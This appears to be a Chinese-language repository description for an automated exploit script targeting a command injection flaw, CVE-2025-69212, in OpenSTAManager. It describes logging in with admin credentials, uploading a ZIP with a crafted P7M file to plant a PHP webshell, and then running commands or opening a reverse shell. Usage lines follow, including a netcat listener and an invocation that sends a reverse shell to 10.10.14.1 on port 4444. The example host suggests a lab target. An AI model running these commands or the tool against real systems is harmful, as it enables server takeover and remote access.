pasindu-sd/cve-2025-69212-exploit针对 OpenSTAManager 中 CVE-2025-69212 命令注入漏洞的自动化利用工具，具备管理员身份验证、恶意 ZIP 上传以及反弹 shell 或命令执行功能。
针对 CVE-2025-69212 的完全自动化漏洞利用脚本，这是 OpenSTAManager 中的一个命令注入漏洞。该脚本使用管理员凭据进行身份验证，通过 ZIP 压缩包中精心构造的 P7M 文件部署恶意 PHP Webshell，并提供命令执行或反弹 Shell 功能。
invoice.p7m 注入）。python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -r <LHOST> <LPORT>
示例：
执行单条命令：
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -c 'id'
获取反弹 Shell：
# Start your netcat listener in another terminal:
nc -lvnp 4444
# Run the exploit:
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -r 10.10.14.1 4444